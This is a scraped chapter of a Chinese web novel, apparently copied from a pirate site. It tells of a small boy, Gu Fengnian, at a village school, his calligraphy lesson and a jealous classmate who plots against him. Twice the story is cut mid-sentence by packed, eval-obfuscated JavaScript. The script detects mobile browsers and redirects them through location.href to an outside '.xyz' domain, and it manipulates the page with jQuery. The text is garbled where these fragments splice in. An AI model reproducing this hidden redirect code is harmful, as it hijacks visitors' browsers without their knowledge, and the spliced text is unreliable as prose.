l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427165|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喳喳个没完没了。 牛学文走上前，看着顾丰年的眼神也带着惊异：“丰年，后头的你怎么会背？” 顾丰年就把前两天发生的事情说了一遍。 牛学文听完，忍不住反问：“只学了一遍，你就会背了？” 在学堂中，牛学文家世最好，人也聪明，向来很有几分骄傲，对同窗也瞧不起。 可每次学了新课，他也是要背好一会儿才能记住。 顾丰年并不知道他心中打击，点头承认：“是啊，爹娘都说我记性好。” 这下把牛学文都干沉默了，心底升起一股不知名的复杂，沉着脸回到自己座位上不说话。 顾丰年也没在意，凑在牛长栋身边：“长栋哥，要不是今天沈先生提醒，我还不知道是害了你，以后我再也不会了。” 牛长栋又感动，又无奈，最后只说：“哎，我就不是读书的料。” “怎么会，长栋哥那么聪明，多学几遍就会了。” 顾丰年想了想，表示：“课上不能帮忙，但放学还是可以，我们跟以前一样。” 牛长栋这才笑起来。 “小六。” 顾丰年抬头一看，是他四哥。 “四哥！”顾丰年欢喜的跑过去。 他原本要扑上去，想到自己挨了手板心怕被发现，赶紧刹住车，还故意背着手。 顾立秋扛着桌子，见状也没多想，还以为他刚读书学夫子的样。 “娘回家才想起来，怕耽误你上学让我给扛过来，你看放哪儿合适？” “没事，长栋哥让了一半位置给我。”顾丰年笑眯眯的说。 牛长栋回头挥了挥手，他跟顾家兄弟的关系都不差，熟的很。 顾立秋看到他也放心，有他照看，自家幺弟不至于吃亏。 顾丰年看了眼学堂，前面的位置都被占据，只有靠近门口处还有空地：“就放这儿吧。” 顾立秋顺势摆好，看了眼有些担心：“你个头小，坐在这儿会不会看不见？” “沈先生会在学堂走来走去，而且地方就这么大，听的很清楚，不影响的。”顾丰年解释。 顾立秋一想也是，但心底还是觉得前头的位置更好，靠近先生总比在门口吹风强。 但凡事有先来后到，他也不好多说什么，摸了摸弟弟小脑袋叮嘱了一句好好读书才走。 顾丰年有了自己的位置，新鲜的坐上去。 他伸手戳了戳前头的牛学文：“学文哥，以后我就坐在你后头了。” 牛学文心底不得劲，正羡慕嫉妒恨，扭了下身体不想搭理他。 顾丰年还以为他没听见，大声喊：“学文哥，我就坐在你后头。” 奶里奶气的。 牛学文拉不下脸，心底别扭，回头瞪了他一眼：“知道了，你烦不烦。” 顾丰年不知道他为什么生气，眨巴眨巴眼睛不说话了，心想学文哥大概就是这样脾气，以前也这样，瞧见他总是阴阳怪气的说话。 哎，谁让他们已经变成朋友了，顾丰年决定迁就一下，对朋友宽容点。 牛学文发了火就开始后悔，觉得自己太暴躁，丰年也没做错什么，却又别别扭扭不好意思低头道歉。 21.第 21 章 “别理他，他就这样。”牛长栋怕小孩儿伤心，安慰道。 顾丰年深以为然，低声道：“我不生气，学文哥是好人，他还送我去县城呢。” 虽然昨天挨了打，但小孩儿牢牢记得这件事。 要不是牛学文帮忙，他哪儿能去县城，去不了县城就卖不掉蛐蛐，赚不到三两银子。 三两银子可以买很多很多肉，还能给爹爹买药，就为这个，顾丰年也不会跟他生气。 牛学文听见他们的对话，心底更不是滋味，想开口缓和一下却又张不开嘴，拖着拖着更不好开口。 这一拖，第二节课就开始了。 与背书不同，这一堂课是识字写字。 顾丰年上一节课大显身手，这一堂课一开始，他就傻眼了。 沈先生自己是童生，也是穷苦人家出身，并不是那种两耳不闻窗外事的书生。 所以来长溪村教学后，他上课也讲究一个接地气。 像是练字，沈先生并不强求直接在纸上写，若是牛学文这般不缺钱的，直接用纸自然最好。 其他学生家境没那么富裕，沈先生就让他们沾着水在桌上写。 学会了笔画，认得字，最后再在纸上书写，这样就能省下许多钱。 顾丰年却是头一回真正拿笔写字。 胖乎乎的手指完全控制不住毛笔，脑子记住了但手指头没有，一动就是糊糊一片。 看着桌板上湿乎乎的一团，压根看不清到底是什么字，顾丰年低下头，脚指头都尴尬的抓起来。 沈先生走过来一看，并不意外。 顾丰年个头太小，还得垫一个矮凳子才能书写，手指头软趴趴的没力气，胳膊也是软乎乎的，这年纪的小孩写不出好字来很正常。 他耐心教导：“一开始切勿心急，身正、肩平、背直，足——” 原本应该是足安，但顾丰年坐在凳子上就不着地，踩着凳子才够，沈先生直接略过。 手把手帮他调整好姿势：“手指要握得坚实，手掌心却要空虚，手腕摆平，切勿贴桌。” 顾丰年一一记住，甭管写的怎么样，姿势标准许多。 “不错，字贵在多练，只有持之以恒才能写得一手好字，每日回家也可多加练习，不可懈怠。” 顾丰年板着小脸继续练字，进步明显。 沈先生很是满意，看了一会儿见他果然都记住了。 虽力气还不够，写字软绵无力，却以肉眼可见的速度在进步，心底大为赞叹。 看了许久，沈先生才转身继续巡视，发现哪个学生姿势不对，他就会手把手纠正。 只是转了一圈，有几个孩子明显不认真，不进反退，昨日教过的东西今日又忘了，回家定是没好好练习。 沈先生不得不一遍遍教导，跟顾丰年一对比更是有落差。 “你们且回头瞧瞧顾丰年，他今日第一天上学，书背得好，练字也努力认真，多跟他学学，不可偷懒。” 沈先生敲打道。 他显然没注意到，自己越是偏心夸赞，学生们落到顾丰年身上的眼神越是充满敌意。 原本大家都差不离，背书写字差距不大，每个人都要挨打，从未见沈先生更喜欢谁。 忽然空降个小矮子，还得到先生满口夸赞，自然会引来许多嫉妒。 顾丰年专心致志的练字，这会儿也不困了，只想把字写的清楚一些，也没注意到同窗们的敌意。 倒是牛学文屡屡回头，想找机会道歉和好，可惜每次回头都看见顾丰年认真练字，他都找不到机会开口。 牛学文憋了口气，又把头扭了回去。 “今日课业已毕，回去记得温书习字，不可贪玩，明日考校若有不通，加倍处罚。” 沈先生板着脸教训道。 一群学生纷纷应是。 沈先生临走前看了眼顾丰年，叮嘱了一句：“你才刚入学，若有不懂的地方只管来问，不必害怕。” 顾丰年用力点头：“知道了先生，我一定会去的。” 他倒是也不记仇，挨了打也没有多害怕，依旧仰着脸一脸孺慕。 沈先生摸了把胡须，笑容都真切许多。 他前脚走出学堂，后脚学堂里就热闹起来，都是最爱闹的年纪，学生们练了一个时辰哪里还坐得住，纷纷起身活络身体。 沈先生回头看了眼，顾丰年倒是还认认真真，似乎要把剩下的字练完，不免又赞赏点头。 等沈先生走远，坐在里侧的两位学生使了个眼色。 其中最高最壮的站起身，故意往门口走，一下子撞在顾丰年桌子上，桌子歪了，桌上的字也乱了。 “哎呀，真对不住。”男孩笑嘻嘻的说。 顾丰年抬头看了他一眼，不紧不慢的反问：“没关系，你撞得疼不疼？” 男孩正等他哭闹发火，好借题发挥，哪知道听见这么软绵绵的关心，顿时不知如何接话。 另一头正等着看好戏的瘦高学生皱眉，阴恻恻开口：“啧啧，真没想到小小的长溪村卧虎藏龙，原以为学文兄背书已经够厉害，今日顾丰年来了，我才知道人外有人山外有山，学文兄，你这可是被比下去，学堂头一份保不住喽。” 牛学文脸都黑了，握紧毛笔指节发白，抬头狠狠瞪他。 顾丰年虽然年纪小，可不傻，听得出对方话里话外的挑唆。 他从板凳上跳下来，歪头看向瘦高个：“我记得你，今日就属你背得最差，被先生打了九下板子，你手不疼了吗？” “噗哈哈哈——”牛学文放声嘲笑起来。 方才那点不愉快瞬间烟消云散。 牛学文站起身，扬起下巴，用平日最骄纵的姿态斜睨：“刘耀祖，你真当小爷我是傻子，听不出你在这儿挑拨离间，就你这猪脑子还想算计人，有这个心思不如多读几遍书，省得明日又背不出来挨板子。” 刘耀祖黑了脸：“牛学文，你别太过分，之前不是你说他家穷的叮当响，交不起束脩只知道偷听，说他不配跟我们坐在一起读书吗？现在你倒是当上好人了。” 牛学文被揭开老底，下意识紧张的看向顾丰年，见他没露出厌恶的神情才安心。 “那是以前，现在我看他顺眼，我们是好兄弟，关你屁事。” 刘耀祖冷哼：“我看你脑子才有病，什么好兄弟，你爹花了多少银子才请来沈先生，结果这小小子一来，先生满眼只有他，一天夸了他不知多少次，哪里还有别人。就说今日，先生可曾多看你一眼，这样下去你就心甘情愿？我看还是把他赶走，这样先生才能专心教你，对得起你爹花的钱。” 他这话极其恶毒，煽风点火，更是将顾丰年架在所有人对立面。 顾丰年听懂了，这家伙是想把自己赶走。 “我才不走，你那么笨都能读书，我为什么不能读书，要走你走反正我不走。再说了，学堂里沈先生说了才算，你说的不算。” 小嘴叭叭叭，顾丰年还是有些底气不足，求救似得看向牛学文，一脸你不会赶我走吧的小表情。 “学文兄你瞧他这嚣张样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432722|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，一旦没把你放在眼里，快把他赶走，有他在，先生眼里哪里还有你，你吃亏到姥姥家了。”刘耀祖见状更是大声嚷嚷起来。 牛学文不耐烦的打断他：“闭嘴，少在那儿放屁，先生如何教导轮不到你指手画脚。我才不会那么做，先生说了，同窗之间要互帮互助，你再敢欺负丰年，就别怪我对你不客气。” 转头给了顾丰年一个小爷我罩着你的眼神。 “你，狗咬吕洞宾不识好人心。”挑唆无用，刘耀祖气得直跳脚。 顾丰年顿时放心，狐假虎威的仰起头，学着牛学文的样子双手环胸，用力哼了一大声。 牛学文看着只觉得有趣好玩，他是小心眼，但他不傻。 当初牛地主请来沈先生，还特意为他造了这座学堂，放话十里八乡愿意送孩子上学的都能送，可见并不是小气人。 私底下，牛地主也拉着孙子叮嘱，学堂里但凡有天赋出众的，不必嫉妒，反倒是要好好相处，以后说不定就是助力。 牛学文懵懵懂懂，但也多少听进去了，再者，他原本就喜欢顾丰年。 与别村来的讨厌鬼相比，牛学文想都不想站在顾丰年这头。 牛长栋也跟着站起身：“长溪村还轮不到你撒野。” 眼看牛家兄弟都护着顾丰年，刘耀祖气得直跳脚，口中骂骂咧咧：“真是一群蠢货，先生明摆着偏心眼，你们还护着。” “小爷我乐意。”牛学文冷哼。 他心底也是有嫉妒，但嫉妒过后，又觉得自己眼光好，看中的书童特别聪明。 顾丰年要是笨呼呼傻乎乎，他才会失望。 “走吧，回家，别跟他浪费时间。”牛长栋不想在学堂吵架，要是沈先生听见，大家都得挨罚。 顾丰年没啥要收拾的，将笔往怀里一揣就能走。 路上，牛学文保证：“别听他的，爷爷说了大家都能来上学，才不会赶你走。” “我爹也说牛老爷是个好人。”顾丰年笑眯眯的说。 牛学文使劲揉了揉他的脑袋：“虽然你不能给我当书童，但能当同窗也不错，不过我会非常努力，绝对不会被你追上。” 顾丰年笑着说：“学文哥，那你可要小心，我可非常会背书。” “哼，小屁孩一个，你根本不知道我有多厉害。”牛学文摇头晃脑的走了。 牛长栋无奈摇头：“真幼稚。” 他觉得这俩小孩都幼稚，一个比一个幼稚。 顾丰年跟在他屁股后头：“长栋哥，今天的内容你会背了吗，不会我教你。” 牛长栋原本挺直的脊背，立刻塌了下去。 两人一边走，一边背，一个稚声稚气，一个痛苦万分。 等到了岔路口，牛长栋迫不及待的说：“我回家了，明天再背。” 生怕顾丰年追着他背书，撒丫子就跑远了。 顾丰年耸了耸肩：“长栋哥太不努力了，回头我可得好好说他。” 说完，顾丰年迫不及待的转身回家，今天都离开家一整天了，他好想回家，想爹，想娘，想哥哥姐姐。 这时，路旁树后冒出两颗脑袋。 刘广柱很犹豫，扯了扯堂哥的袖子：“要不还是算了。” “算什么算，今天不给他一个教训，明天他就要爬到咱俩头上拉屎。”刘耀祖眼底闪过恶毒光芒。 刘广柱拦不住暴脾气堂哥，心底嘀咕顾丰年很有礼貌，还关心他撞得疼不疼，哪里会随地拉屎。 “终于落单了，动手！”刘耀祖冲了出去。